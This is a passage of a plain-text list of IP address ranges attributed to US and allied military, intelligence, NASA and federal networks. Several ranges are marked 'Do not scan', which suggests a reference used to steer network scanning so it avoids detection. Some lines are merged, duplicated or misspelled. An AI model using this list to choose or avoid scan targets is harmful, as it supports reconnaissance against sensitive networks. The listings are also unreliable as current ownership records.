11.*.*.* DoD Intel Information Systems, Defense Intelligence Agency, Washington DC

RANGE 21

21. ‑ US Defense Information Systems Agency

RANGE 22

22.* ‑ Defense Information Systems Agency

RANGE 24

24.198.*.*

RANGE 25

25.*.*.* Royal Signals and Radar Establishment, UK

RANGE 26

26.* ‑ Defense Information Systems Agency

RANGE 29

29.* ‑ Defense Information Systems Agency

RANGE 30

30.* ‑ Defense Information Systems Agency

RANGE 49

49.* ‑ Joint Tactical Command

RANGE 50

50.* ‑ Joint Tactical Command

RANGE 55

55.* ‑ Army National Guard Bureau

RANGE 55

55.* ‑ Army National Guard Bureau

RANGE 62

62.0.0.1 ‑ 62.30.255.255 Do not scan!

RANGE 64

64.70.*.* Do not scan

64.224.* Do not Scan

64.225.* Do not scan

64.226.* Do not scan

RANGE 128

128.37.0.0 Army Yuma Proving Ground

128.38.0.0 Naval Surface Warfare Center

128.43.0.0 Defence Research Establishment‑Ottawa

128.47.0.0 Army Communications Electronics Command

128.49.0.0 Naval Ocean Systems Center

128.50.0.0 Department of Defense

128.51.0.0 Department of Defense

128.56.0.0 U.S. Naval Academy

128.60.0.0 Naval Research Laboratory

128.63.0.0 Army Ballistics Research Laboratory

128.80.0.0 Army Communications Electronics Command

128.98.0.0 ‑ 128.98.255.255 Defence Evaluation and Research Agency 128.102.0.0 NASA Ames Research Center

128.149.0.0 NASA Headquarters

128.154.0.0 NASA Wallops Flight Facility

128.155.0.0 NASA Langley Research Center

128.156.0.0 NASA Lewis Network Control Center

128.157.0.0 NASA Johnson Space Center

128.158.0.0 NASA Ames Research Center

128.159.0.0 NASA Ames Research Center

128.160.0.0 Naval Research Laboratory

128.161.0.0 NASA Ames Research Center

128.183.0.0 NASA Goddard Space Flight Center

128.190.0.0 Army Belvoir Reasearch and Development Center 128.202.0.0 50th Space Wing

128.216.0.0 MacDill Air Force Base

128.217.0.0 NASA Kennedy Space Center

128.236.0.0 U.S. Air Force Academy

RANGE 129

129.23.0.0 Strategic Defense Initiative Organization

129.29.0.0 United States Military Academy

129.50.0.0 NASA Marshall Space Flight Center

129.51.0.0 Patrick Air Force Base

129.52.0.0 Wright‑Patterson Air Force Base

129.53.0.0 ‑ 129.53.255.255 66SPTG‑SCB

129.54.0.0 Vandenberg Air Force Base, CA

129.92.0.0 Air Force Institute of Technology

129.99.0.0 NASA Ames Research Center

129.131.0.0 Naval Weapons Center

129.139.0.0 Army Armament Research Development and Engineering Center 129.141.0.0 85 MISSION SUPPORT SQUADRON/SCSN

129.163.0.0 NASA/Johnson Space Center

129.164.0.0 NASA IVV

129.165.0.0 NASA Goddard Space Flight Center

129.166.0.0 NASA ‑ John F. Kennedy Space Center

129.167.0.0 NASA Marshall Space Flight Center

129.168.0.0 NASA Lewis Research Center

129.190.0.0 Naval Underwater Systems Center

129.198.0.0 Air Force Flight Test Center

129.209.0.0 Army Ballistics Research Laboratory

129.229.0.0 U.S. Army Corps of Engineers

129.251.0.0 United States Air Force Academy

RANGE 130

130.40.0.0 NASA Johnson Space Center

130.90.0.0 Mather Air Force Base

130.109.0.0 Naval Coastal Systems Center

130.114.0.0 Army Aberdeen Proving Ground Installation Support Activity 130.124.0.0 Honeywell Defense Systems Group

130.165.0.0 U.S.Army Corps of Engineers

130.167.0.0 NASA Headquarters

RANGE 131

131.3.0.0 ‑ 131.3.255.255 Mather Air Force Base

131.6.0.0 Langley Air Force Base

131.10.0.0 Barksdale Air Force Base

131.17.0.0 Sheppard Air Force Base

131.21.0.0 Hahn Air Base

131.22.0.0 Keesler Air Force Base

131.24.0.0 6 Communications Squadron

131.25.0.0 Patrick Air Force Base

131.27.0.0 75 ABW

131.30.0.0 62 CS/SCSNT

131.32.0.0 37 Communications Squadron

131.35.0.0 Fairchild Air Force Base

131.36.0.0 Yokota Air Base

131.37.0.0 Elmendorf Air Force Base

131.38.0.0 Hickam Air Force Base

131.39.0.0 354CS/SCSN

131.40.0.0 Bergstrom Air Force Base

131.44.0.0 Randolph Air Force Base

131.46.0.0 20 Communications Squadron

131.47.0.0 Andersen Air Force Base

131.50.0.0 Davis‑Monthan Air Force Base

131.52.0.0 56 Communications Squadron /SCBB

131.54.0.0 Air Force Concentrator Network

131.56.0.0 Upper Heyford Air Force Base

131.58.0.0 Alconbury Royal Air Force Base

131.59.0.0 7 Communications Squadron

131.61.0.0 McConnell Air Force Base

131.62.0.0 Norton Air Force Base

131.71.0.0 ‑ 131.71.255.255 NAVAL AVIATION DEPOT CHERRY PO 131.74.0.0 Defense MegaCenter Columbus

131.84.0.0 Defense Technical Information Center

131.92.0.0 Army Information Systems Command ‑ Aberdeen (EA) 131.105.0.0 McClellan Air Force Base

131.110.0.0 NASA/Michoud Assembly Facility

131.120.0.0 Naval Postgraduate School

131.121.0.0 United States Naval Academy

131.122.0.0 United States Naval Academy

131.176.0.0 European Space Operations Center

131.182.0.0 NASA Headquarters

131.250.0.0 Office of the Chief of Naval Research

RANGE 132

132.3.0.0 Williams Air Force Base

132.5.0.0 ‑ 132.5.255.255 49th Fighter Wing

132.6.0.0 Ankara Air Station

132.7.0.0 ‑ 132.7.255.255 SSG/SINO

132.9.0.0 28th Bomb Wing

132.10.0.0 319 Comm Sq

132.11.0.0 Hellenikon Air Base

132.12.0.0 Myrtle Beach Air Force Base

132.13.0.0 Bentwaters Royal Air Force Base

132.14.0.0 Air Force Concentrator Network

132.15.0.0 Kadena Air Base

132.16.0.0 Kunsan Air Base

132.17.0.0 Lindsey Air Station

132.18.0.0 McGuire Air Force Base

132.19.0.0 100CS (NET‑MILDENHALL)

132.20.0.0 35th Communications Squadron

132.21.0.0 Plattsburgh Air Force Base

132.22.0.0 23Communications Sq

132.24.0.0 Dover Air Force Base

132.25.0.0 786 CS/SCBM

132.27.0.0 ‑ 132.27.255.255 39CS/SCBBN

132.28.0.0 14TH COMMUNICATION SQUADRON

132.30.0.0 Lajes Air Force Base

132.31.0.0 Loring Air Force Base

132.33.0.0 60CS/SCSNM

132.34.0.0 Cannon Air Force Base

132.35.0.0 Altus Air Force Base

132.37.0.0 75 ABW

132.38.0.0 Goodfellow AFB

132.39.0.0 K.I. Sawyer Air Force Base

132.40.0.0 347 COMMUNICATION SQUADRON

132.42.0.0 Spangdahlem Air Force Base

132.43.0.0 Zweibruchen Air Force Base

132.45.0.0 Chanute Air Force Base

132.46.0.0 Columbus Air Force Base

132.48.0.0 Laughlin Air Force Base

132.49.0.0 366CS/SCSN

132.50.0.0 Reese Air Force Base

132.52.0.0 Vance Air Force Base

132.54.0.0 Langley AFB

132.55.0.0 Torrejon Air Force Base

132.56.0.0 ‑ 132.56.255.255 9 CS/SC

132.57.0.0 Castle Air Force Base

132.58.0.0 Nellis Air Force Base

132.59.0.0 24Comm Squadron\SCSNA

132.60.0.0 ‑ 132.60.255.255 42ND COMMUNICATION SQUADRON

132.61.0.0 SSG/SIN

132.62.0.0 ‑ 132.62.255.255 377 COMMUNICATION SQUADRON

132.79.0.0 Army National Guard Bureau

132.80.0.0 ‑ 132.80.255.255 NGB‑AIS‑OS

132.80.0.0 ‑ 132.85.255.255 National Guard Bureau

132.82.0.0 Army National Guard Bureau

132.86.0.0 National Guard Bureau

132.87.0.0 ‑ 132.93.255.255 National Guard Bureau

132.94.0.0 Army National Guard Bureau

132.95.0.0 ‑ 132.103.255.255 National Guard Bureau

132.95.0.0 ‑ 132.108.0.0 DOD Network Information Center 132.104.0.0 ‑ 132.104.255.255 Army National Guard Bureau 132.105.0.0 ‑ 132.108.255.255 Army National Guard Bureau 132.109.0.0 National Guard Bureau

132.110.0.0 ‑ 132.116.255.255 Army National Guard Bureau 132.114.0.0 Army National Guard

132.117.0.0 Army National Guard Bureau

132.118.0.0 ‑ 132.132.0.0 Army National Guard Bureau

132.122.0.0 South Carolina Army National Guard, USPFO

132.133.0.0 National Guard Bureau

132.134.0.0 ‑ 132.143.255.255 National Guard Bureau

132.159.0.0 Army Information Systems Command

132.193.0.0 Army Research Office

132.250.0.0 Naval Research Laboratory

RANGE 134

134.5.0.0 Lockheed Aeronautical Systems Company

134.11.0.0 The Pentagon

134.12.0.0 NASA Ames Research Center

134.51.0.0 Boeing Military Aircraft Facility

134.52.*.* Boeing Corporation

134.78.0.0 Army Information Systems Command‑ATCOM

134.80.0.0 Army Information Systems Command

134.118.0.0 NASA/Johnson Space Center

134.131.0.0 Wright‑Patterson Air Force Base

134.136.0.0 Wright‑Patterson Air Force Base

134.164.0.0 Army Engineer Waterways Experiment Station

134.165.0.0 Headquarters Air Force Space Command

134.194.0.0 U.S. Army Aberdeen Test Center

134.205.0.0 7th Communications Group

134.207.0.0 Naval Research Laboratory

134.229.0.0 Navy Regional Data Automation Center

134.230.0.0 Navy Regional Data Automation Center

134.232.0.0 ‑ 134.232.255.255 U.S. Army, Europe

134.233.0.0 HQ 5th Signal Command

134.234.0.0 ‑ 134.234.255.255 Southern European Task Force 134.235.0.0 HQ 5th Signal Command

134.240.0.0 U.S. Military Academy

136.149.0.0 Air Force Military Personnel Center

RANGE 136

136.178.0.0 NASA Research Network

136.188.0.0 ‑ 136.197.255.255 Defense Intelligence Agency 136.207.0.0 69th Signal Battalion

136.208.0.0 HQ, 5th Signal Command

136.209.0.0 HQ 5th Signal Command

136.210.0.0 HQ 5th Signal Command

136.212.0.0 HQ 5th Signal Command

136.213.0.0 HQ, 5th Signal Command

136.214.0.0 HQ, 5th Signal Command

136.215.0.0 HQ, 5th Signal Command

136.216.0.0 HQ, 5th Signal Command

136.217.0.0 HQ, 5th Signal Command

136.218.0.0 HQ, 5th Signal Command

136.219.0.0 HQ, 5th Signal Command

136.220.0.0 HQ, 5th Signal Command

136.221.0.0 HQ, 5th Signal Command

136.222.0.0 HQ, 5th Signal Command

RANGE 137

137.1.0.0 Whiteman Air Force Base

137.2.0.0 George Air Force Base

137.3.0.0 Little Rock Air Force Base

137.4.0.0 ‑ 137.4.255.255 437 CS/SC

137.5.0.0 Air Force Concentrator Network

137.6.0.0 Air Force Concentrator Network

137.11.0.0 HQ AFSPC/SCNNC

137.12.0.0 Air Force Concentrator Network

137.17.* National Aerospace Laboratory

137.24.0.0 Naval Surface Warfare Center

137.29.0.0 First Special Operations Command

137.67.0.0 Naval Warfare Assessment Center

137.94.* Royal Military College

137.95.* Headquarters, U.S. European Command

137.126.0.0 USAF MARS

137.127.* Army Concepts Analysis Agency

137.128.* U.S. ARMY Tank‑Automotive Command

137.130.0.0 Defense Information Systems Agency

137.209.0.0 Defense Information Systems Agency

137.210.0.0 Defense Information Systems Agency

137.211.0.0 Defense Information Systems Agency

137.212.0.0 Defense Information Systems Agency

137.231.0.0 HQ 5th Signal Command

137.232.0.0 Defense Information Systems Agency

137.233.0.0 Defense Information Systems Agency

137.234.0.0 Defense Information Systems Agency

137.235.0.0 Defense Information Systems Agency

137.240.0.0 Air Force Materiel Command

137.241.0.0 75 ABW

137.242.0.0 Air Force Logistics Command

137.243.0.0 77 CS/SCCN

137.244.0.0 78 CS/SCSC

137.245.0.0 Wright Patterson Air Force Base

137.246.0.0 United States Atlantic Command Joint Training

RANGE 138

138.13.0.0 Air Force Systems Command

138.27.0.0 Army Information Systems Command

138.50.0.0 HQ 5th Signal Command

138.65.0.0 HQ, 5th Signal Command

138.76.0.0 NASA Headquarters

138.109.0.0 Naval Surface Warfare Center

138.115.0.0 NASA Information and Electronic Systems Laboratory 138.135.0.0 ‑ 138.135.255.255 DEFENSE PROCESSING CENTERPERAL HARBOR 138.136.0.0 ‑ 138.136.255.255 Navy Computers and Telecommunications Station

138.137.0.0 Navy Regional Data Automation Center (NARDAC) 138.139.0.0 Marine Corps Air Station

138.140.0.0 Navy Regional Data Automation Center

138.141.0.0 Navy Regional Data Automation Center

138.142.0.0 Navy Regional Data Automation Center

138.143.0.0 Navy Regional Data Automation Center

138.144.0.0 NAVCOMTELCOM

138.145.0.0 NCTS WASHINGTON

138.146.0.0 NCTC

138.147.0.0 NCTC

138.148.0.0 NCTC

138.149.0.0 NCTC

138.150.0.0 NCTC

138.151.0.0 NCTC

138.152.0.0 NCTC

138.153.0.0 Yokosuka Naval Base

138.154.0.0 NCTC

138.155.0.0 NCTC

138.156.0.0 Marine Corps Central Design & Prog. Activity 138.157.0.0 ‑ 138.157.255.255 Marine Corps Central Design & Prog. Activity

138.158.0.0 Marine Corps Central Design & Prog. Activity 138.159.0.0 NCTC

138.160.0.0 Naval Air Station

138.161.0.0 NCTC

138.162.0.0 NCTC

138.163.0.0 NCTC

138.164.0.0 NCTC

138.165.0.0 NCTC

138.166.0.0 NCTC

138.167.0.0 NOC, MCTSSA, East

138.168.0.0 Marine Corps Central Design & Prog. Activity 138.169.0.0 NAVAL COMPUTER AND TELECOMM

138.169.12.0 NAVAL COMPUTER AND TELECOMM

138.169.13.0 NAVAL COMPUTER AND TELECOMM

138.170.0.0 NCTC

138.171.0.0 NCTC

138.172.0.0 NCTC

138.173.0.0 NCTC

138.174.0.0 NCTC

138.175.0.0 NCTC

138.176.0.0 NCTC

138.177.0.0 NCTS Pensacola

138.178.0.0 NCTC

138.179.0.0 NCTC

138.180.0.0 NCTC

138.181.0.0 NCTC

138.182.0.0 CNO N60

138.183.0.0 NCTC

138.184.0.0 NCTS

138.193.0.0 NASA/Yellow Creek

RANGE 139

139.31.0.0 20th Tactical Fighter Wing

139.32.0.0 48th Tactical Fighter Wing

139.33.0.0 36th Tactical Fighter Wing

139.34.0.0 52nd Tactical Fighter Wing

139.35.0.0 50th Tactical Fighter Wing

139.36.0.0 66th Electronic Combat Wing

139.37.0.0 26th Tactical Reconnaissance Wing

139.38.0.0 32nd Tactical Fighter Squadron

139.39.0.0 81st Tactical Fighter Wing

139.40.0.0 10th Tactical Fighter Wing

139.41.0.0 39th Tactical Air Control Group

139.42.0.0 40th Tactical Air Control Group

139.43.0.0 401st Tactical Fighter Wing

139.124.* Reseau Infomratique

139.142.*.*

RANGE 140

140.1.0.0 Defense Information Systems Agency

140.3.0.0 Defense Information Systems Agency

140.4.0.0 Defense Information Systems Agency

140.5.0.0 Defense Information Systems Agency

140.6.0.0 Defense Information Systems Agency

140.7.0.0 Defense Information Systems Agency

140.8.0.0 Defense Information Systems Agency

140.9.0.0 Defense Information Systems Agency

140.10.0.0 Defense Information Systems Agency

140.11.0.0 Defense Information Systems Agency

140.12.0.0 Defense Information Systems Agency

140.13.0.0 Defense Information Systems Agency

140.14.0.0 DISA Columbus Level II NOC

140.15.0.0 Defense Information Systems Agency

140.16.0.0 Defense Information Systems Agency

140.17.0.0 Defense Information Systems Agency

140.18.0.0 Defense Information Systems Agency

140.19.0.0 Defense Information Systems Agency

140.20.0.0 Defense Information Systems Agency

140.21.0.0 Defense Information Systems Agency

140.22.0.0 Defense Information Systems Agency

140.23.0.0 Defense Information Systems Agency

140.24.0.0 ASIC ALLIANCE‑MARLBORO

140.25.0.0 Defense Information Systems Agency

140.26.0.0 Defense Information Systems Agency

140.27.0.0 Defense Information Systems Agency

140.28.0.0 Defense Information Systems Agency

140.29.0.0 Defense Information Systems Agency

140.30.0.0 Defense Information Systems Agency

140.31.0.0 Defense Information Systems Agency

140.32.0.0 Defense Information Systems Agency

140.33.0.0 Defense Information Systems Agency

140.34.0.0 Defense Information Systems Agency

140.35.0.0 Defense Information Systems Agency

140.36.0.0 Defense Information Systems Agency

140.37.0.0 Defense Information Systems Agency

140.38.0.0 Defense Information Systems Agency

140.39.0.0 Defense Information Systems Agency

140.40.0.0 Defense Information Systems Agency

140.41.0.0 Defense Information Systems Agency

140.42.0.0 Defense Information Systems Agency

140.43.0.0 Defense Information Systems Agency

140.44.0.0 Defense Information Systems Agency

140.45.0.0 Defense Information Systems Agency

140.46.0.0 Defense Information Systems Agency

140.47.0.0 ‑ 140.47.255.255 Defense Information Systems Agency 140.47.0.0 ‑ 140.48.255.255 DOD Network Information Center 140.48.0.0 ‑ 140.48.255.255 Defense Information Systems Agency 140.49.0.0 Defense Information Systems Agency

140.50.0.0 Defense Information Systems Agency

140.51.0.0 Defense Information Systems Agency

140.52.0.0 Defense Information Systems Agency

140.53.0.0 Defense Information Systems Agency

140.54.0.0 Defense Information Systems Agency

140.55.0.0 Defense Information Systems Agency

140.56.0.0 Defense Information Systems Agency

140.57.0.0 Defense Information Systems Agency

140.58.0.0 Defense Information Systems Agency

140.59.0.0 Defense Information Systems Agency

140.60.0.0 Defense Information Systems Agency

140.61.0.0 Defense Information Systems Agency

140.62.0.0 Defense Information Systems Agency

140.63.0.0 Defense Information Systems Agency

140.64.0.0 Defense Information Systems Agency

140.65.0.0 Defense Information Systems Agency

140.66.0.0 Defense Information Systems Agency

140.67.0.0 Defense Information Systems Agency

140.68.0.0 Defense Information Systems Agency

140.69.0.0 Defense Information Systems Agency

140.70.0.0 Defense Information Systems Agency

140.71.0.0 Defense Information Systems Agency

140.72.0.0 Defense Information Systems Agency

140.73.0.0 Defense Information Systems Agency

140.74.0.0 ‑ 140.74.255.255 Defense Information Systems Agency 140.100.0.0 Naval Sea Systems Command

140.139.0.0 HQ US Army Medical Research and Development Command 140.154.0.0 HQ 5th Signal Command

140.155.0.0 HQ, 5th Signal Command

140.156.0.0 HQ, 5th Signal Command

140.175.0.0 Scott Air Force Base

140.178.0.0 Naval Undersea Warfare Center Division, Keyport 140.187.0.0 Fort Bragg

140.194.0.0 US Army Corps of Engineers

140.195.0.0 Naval Sea Systems Command

140.199.0.0 Naval Ocean Systems Center

140.201.0.0 HQ, 5th Signal Command

140.202.0.0 106TH SIGNAL BRIGADE

RANGE 143

143.45.0.0 58th Signal Battalion

143.46.0.0 U.S. Army, 1141st Signal Battalion

143.68.0.0 Headquarters, USAISC

143.69.0.0 Headquarters, USAAISC

143.70.0.0 Headquarters, USAAISC

143.71.0.0 Headquarters, USAAISC

143.72.0.0 Headquarters, USAAISC

143.73.0.0 Headquarters, USAAISC

143.74.0.0 Headquarters, USAAISC

143.75.0.0 Headquarters, USAAISC

143.76.0.0 Headquarters, USAAISC

143.77.0.0 Headquarters, USAAISC

143.78.0.0 Headquarters, USAAISC

143.79.0.0 Headquarters, USAAISC

143.80.0.0 Headquarters, USAAISC

143.81.0.0 Headquarters, USAAISC

143.82.0.0 Headquarters, USAAISC

143.84.0.0 Headquarters, USAAISC

143.85.0.0 Headquarters, USAAISC

143.86.0.0 Headquarters, USAAISC

143.87.0.0 Headquarters, USAAISC

143.232.0.0 NASA Ames Research Center

RANGE 144

144.99.0.0 United States Army Information Systems Command 144.109.0.0 Army Information Systems Command

144.143.0.0 Headquarters, Third United States Army

144.144.0.0 Headquarters, Third United States Army

144.146.0.0 Commander, Army Information Systems Center

144.147.0.0 Commander, Army Information Systems Center

144.170.0.0 HQ, 5th Signal Command

144.192.0.0 United States Army Information Services Command‑Campbell 144.233.0.0 Defense Intelligence Agency

144.234.0.0 Defense Intelligence Agency

144.235.0.0 Defense Intelligence Agency

144.236.0.0 Defense Intelligence Agency

144.237.0.0 Defense Intelligence Agency

144.238.0.0 Defense Intelligence Agency

144.239.0.0 Defense Intelligence Agency

144.240.0.0 Defense Intelligence Agency

144.241.0.0 Defense Intelligence Agency

144.242.0.0 Defense Intelligence Agency

144.252.0.0 U.S. Army LABCOM

RANGE 146

146.17.0.0 HQ, 5th Signal Command

146.80.0.0 Defence Research Agency

146.98.0.0 HQ United States European Command

146.154.0.0 NASA/Johnson Space Center

146.165.0.0 NASA Langley Research Center

RANGE 147

147.35.0.0 HQ, 5th Signal Command

147.36.0.0 HQ, 5th Signal Command

147.37.0.0 HQ, 5th Signal Command

147.38.0.0 HQ, 5th Signal Command

147.39.0.0 HQ, 5th Signal Command

147.40.0.0 HQ, 5th Signal Command

147.42.0.0 Army CALS Project

147.103.0.0 Army Information Systems Software Center

147.104.0.0 Army Information Systems Software Center

147.159.0.0 Naval Air Warfare Center, Aircraft Division 147.168.0.0 Naval Surface Warfare Center

147.169.0.0 HQ, 5th Signal Command

147.198.0.0 Army Information Systems Command

147.199.0.0 Army Information Systems Command

147.238.0.0 Army Information Systems Command

147.239.0.0 1112th Signal Battalion

147.240.0.0 US Army Tank‑Automotive Command

147.242.0.0 19th Support Command

147.248.0.0 Fort Monroe DOIM

147.254.0.0 7th Communications Group

RANGE 148

148.114.0.0 NASA, Stennis Space Center

RANGE 150

150.113.0.0 1114th Signal Battalion

150.114.0.0 1114th Signal Battalion

150.125.0.0 Space and Naval Warfare Command

150.133.0.0 10th Area Support Group

150.144.0.0 NASA Goodard Space Flight Center

150.149.0.0 Army Information Systems Command

150.157.0.0 USAISC‑Fort Lee

150.184.0.0 Fort Monroe DOIM

150.190.0.0 USAISC‑Letterkenny

150.196.0.0 USAISC‑LABCOM

RANGE 152

152.82.0.0 7th Communications Group of the Air Force

152.151.0.0 U.S. Naval Space & Naval Warfare Systems Command 152.152.0.0 NATO Headquarters

152.154.0.0 Defense Information Systems Agency

152.229.0.0 Defense MegaCenter (DMC) Denver

RANGE 153

153.21.0.0 USCENTAF/SCM

153.22.0.0 USCENTAF/SCM

153.23.0.0 USCENTAF/SCM

153.24.0.0 USCENTAF/SCM

153.25.0.0 USCENTAF/SCM

153.26.0.0 USCENTAF/SCM

153.27.0.0 USCENTAF/SCM

153.28.0.0 USCENTAF/SCM

153.29.0.0 USCENTAF/SCM

153.30.0.0 USCENTAF/SCM

153.31.0.0 Federal Bureau of Investigation

RANGE 155

155.5.0.0 1141st Signal Bn

155.6.0.0 1141st Signal Bn

155.7.0.0 American Forces Information

155.8.0.0 U.S. ArmyFort Gordon

155.9.0.0 ‑ 155.9.255.255 United States Army Information Systems Command 155.74.0.0 PEO STAMIS

155.75.0.0 US Army Corps of Engineers

155.76.0.0 PEO STAMIS

155.77.0.0 PEO STAMIS

155.78.0.0 PEO STAMIS

155.79.0.0 US Army Corps of Engineers

155.80.0.0 PEO STAMIS

155.81.0.0 PEO STAMIS

155.82.0.0 PEO STAMIS

155.83.0.0 US Army Corps of Enginers

155.84.0.0 PEO STAMIS

155.85.0.0 PEO STAMIS

155.86.0.0 US Army Corps of Engineers

155.87.0.0 PEO STAMIS

155.88.0.0 PEO STAMIS

155.96.0.0 Drug Enforcement Administration

155.149.0.0 1112th Signal Battalion

155.155.0.0 HQ, 5th Signal Command

155.178.0.0 Federal Aviation Administration

155.213.0.0 USAISC Fort Benning

155.214.0.0 Director of Information Management

155.215.0.0 USAISC‑FT DRUM

155.216.0.0 TCACCIS Project Management Office

155.217.0.0 Directorate of Information Management

155.218.0.0 USAISC

155.219.0.0 DOIM/USAISC Fort Sill

155.220.0.0 USAISC‑DOIM

155.221.0.0 USAISC‑Ft Ord

RANGE 156

156.9.0.0 U. S. Marshals Service

RANGE 157

157.150.0.0 United Nations

157.153.0.0 COMMANDER NAVAL SURFACE U.S. PACIFIC FLEET

157.202.0.0 US Special Operations Command

157.217.0.0 U. S. Strategic Command

RANGE 158

158.1.0.0 Commander, Tooele Army Depot

158.2.0.0 USAMC Logistics Support Activity

158.3.0.0 U.S. Army TACOM

158.4.0.0 UASISC Ft. Carson

158.5.0.0 1112th Signal Battalion

158.6.0.0 USAISC‑Ft. McCoy

158.7.0.0 USAISC‑FLW

158.8.0.0 US Army Soldier Support Center

158.9.0.0 USAISC‑CECOM

158.10.0.0 GOC

158.11.0.0 UASISC‑Vint Hill

158.12.0.0 US Army Harry Diamond Laboratories

158.13.0.0 USAISC DOIM

158.14.0.0 1112th Signal Battalion

158.15.0.0 ‑ 158.15.255.255 Defense Megacenter Huntsville 158.16.0.0 Rocky Mountain Arsenal (PMRMA)

158.17.0.0 Crane Army Ammunition Activity

158.18.0.0 Defense Finance & Accounting Service Center

158.19.0.0 DOIM

158.20.0.0 DOIM

158.235.0.0 Marine Corps Central Design and Programming Activity 158.243.0.0 Marine Corps Central Design and Programming Activity 158.244.0.0 Marine Corps Central Design and Programming Activity 158.245.0.0 Marine Corps Central Design and Programming Activity 158.246.0.0 Marine Corps Central Design and Programming Activity

RANGE 159

159.120.0.0 Naval Air Systems Command (Air 4114)

RANGE 160

160.132.0.0 US Army Recruiting Command

160.135.0.0 36th Signal BN

160.138.0.0 USAISC

160.139.0.0 USAISC

160.140.0.0 HQ, United States Army

160.143.0.0 USAISC

160.145.0.0 1101st Signal Brigade

160.146.0.0 USAISC SATCOMSTA‑CAMP ROBERTS

160.150.0.0 Commander, Moncrief Army Hospital

RANGE 161

161.124.0.0 NAVAL WEAPONS STATION

RANGE 162

162.32.0.0 Naval Aviation Depot Pensacola

162.45.0.0 Central Intelligence Agency

162.46.0.0 Central Intelligence Agency

RANGE 163

163.205.0.0 NASA Kennedy Space Center

163.206.0.0 NASA Kennedy Space Center

RANGE 164

164.45.0.0 Naval Ordnance Center, Pacific Division

164.49.0.0 United States Army Space and Strategic Defense 164.158.0.0 Naval Surface Warfare Center

164.217.0.0 Institute for Defense Analyses

164.218.0.0 Bureau of Naval Personnel

164.219.0.0 HQ USAFE WARRIOR PREPARATION CENTER

164.220.0.0 ‑ 164.220.255.255 NIMIP/TIP/NEWNET

164.221.0.0 ‑ 164.221.255.255 Information Technology

164.223.0.0 Naval Undersea Warfare Center

164.224.0.0 Secretary of the Navy

164.225.0.0 U.S. Army Intelligence and Security Command 164.226.0.0 Naval Exchange Service Command

164.227.0.0 Naval Surface Warfare Center, Crane Division 164.228.0.0 USCINCPAC J21T

164.229.0.0 NCTS‑NOLA

164.230.0.0 Naval Aviation Depot

164.231.0.0 Military Sealift Command

164.232.0.0 ‑ 164.232.255.255 United States Southern Command

RANGE 167

167.44.0.0 Government Telecommunications Agency

RANGE 168

168.68.0.0 USDA Office of Operations

168.85.0.0 Fort Sanders Alliance

168.102.0.0 Indiana Purdue Fort Wayne

RANGE 169

169.252.0.0 ‑ 169.253.0.0 U.S. Department of State

RANGE 194

RANGE 195

195.10.* Various ‑ Do not scan

RANGE 199

199.121.4.0 ‑ 199.121.253.0 Naval Air Systems Command, VA

RANGE 203

203.59.0.0 ‑ 203.59.255.255 Perth Australia iiNET

RANGE 204

204.34.0.0 ‑ 204.34.15.0 IPC JAPAN

204.34.0.0 ‑ 204.37.255.0 DOD Network Information Center 204.34.16.0 ‑ 204.34.27.0 Bureau of Medicine and Surgery 204.34.32.0 ‑ 204.34.63.0 USACOM

204.34.64.0 ‑ 204.34.115.0 DEFENSE FINANCE AND ACCOUNTING SERVICE 204.34.128.0 DISA‑Eucom / BBN‑STD, Inc.

204.34.129.0 Defense Technical Information Center

204.34.130.0 GSI

204.34.131.0 NSA NAPLES ITALY

204.34.132.0 NAVSTA ROTA SPAIN

204.34.133.0 NAS SIGONELLA ITALY

204.34.134.0 Naval Air Warfare Center Aircraft Division 204.34.135.0 GSI

204.34.136.0 Naval Undersea Warfare Center USRD ‑ Orlando 204.34.137.0 Joint Spectrum Center

204.34.138.0 GSI

204.34.139.0 HQ, JFMO Korea, Headquarters

204.34.140.0 DISA D75

204.34.141.0 U. S. Naval Air Facility, Atsugi Japan

204.34.142.0 Naval Enlisted Personnel Management Center 204.34.143.0 Afloat Training Group Pacific

204.34.144.0 HQ Special Operations Command ‑ Europe

204.34.145.0 Commander Naval Base Pearl Harbor

204.34.147.0 NAVSEA Information Management Improvement Program 204.34.148.0 Q112

204.34.149.0 Ctr. for Info. Sys.Security,CounterMeasures 204.34.150.0 Resource Consultants, Inc.

204.34.151.0 Personnel Support Activity, San Diego

204.34.152.0 NAVAL AIR FACILITY, ADAK

204.34.153.0 NAVSEA Logistics Command Detachment

204.34.154.0 PEARL HARBOR NAVAL SHIPYARD

204.34.155.0 PEARL HARBOR NAVAL SHIPYARD

204.34.156.0 Defense Photography School

204.34.157.0 ‑ 204.34.160.0 Defense Information School 204.34.161.0 Naval Air Systems Command

204.34.162.0 Puget Sound Naval Shipyard

204.34.163.0 Joint Precision Strike Demonstration

204.34.164.0 Naval Pacific Meteorology and Ocean

204.34.165.0 Joint Precision Strike Demonstration

204.34.167.0 USAF

204.34.168.0 Commander

204.34.169.0 Naval Air Warfare Center

204.34.170.0 Naval Air Systems Command

204.34.171.0 NAVSTA SUPPLY DEPARTMENT

204.34.173.0 SUBMEPP Activity

204.34.174.0 COMMANDER TASK FORCE 74 YOKOSUKA JAPAN

204.34.176.0 DISA‑PAC,IPC‑GUAM

204.34.177.0 Satellite Production Test Center

204.34.181.0 940 Air Refueling Wing

204.34.182.0 Defense Megacenter Warner Robins

204.34.183.0 GCCS Support Facility

204.34.184.0 Nav Air Tech Serv Facility‑Detachment

204.34.185.0 NAVAL SUPPORT FACILITY, DIEGO GARCIA

204.34.186.0 Defense Logistics Agency ‑ Europe

204.34.187.0 NAVMASSO

204.34.188.0 Commander‑In‑Chief, US Pacific Fleet

204.34.189.0 Defense MegaCenter ‑ St Louis

204.34.190.0 NAVMASSO

204.34.192.0 HQ SOCEUR

204.34.193.0 Second Marine Expeditionary Force

204.34.194.0 Second Marine Expeditionary Force

204.34.195.0 Second Marine Expeditionary Force

204.34.196.0 NAVCOMTELSTAWASHDC

204.34.197.0 INFORMATION SYSTEMS TECHNOLOGY CENTER

204.34.198.0 Naval Observatory Detachment, Colorado

204.34.199.0 NAVILCODETMECH

204.34.200.0 Navy Environmental Preventive Medicine

204.34.201.0 Port Hueneme Division, Naval Surf

204.34.202.0 Naval Facilities Engineering Housing

204.34.203.0 NAVSEA Logistics Command Detachment

204.34.204.0 Naval Air Warfare Center

204.34.205.0 Portsmouth Naval Shipyard

204.34.206.0 INFORMATION SYSTEMS TECHNOLOGY CENTER

204.34.208.0 ‑ 204.34.210.0 Military Sealift Command Pacific 204.34.211.0 USAF Academy

204.34.212.0 3rd Combat Service Support

204.34.213.0 1st Radio Battalion

204.34.214.0 OASD (Health Affairs)

204.34.215.0 Second Marine Expeditionary Force

204.34.216.0 1st Marine Air Wing

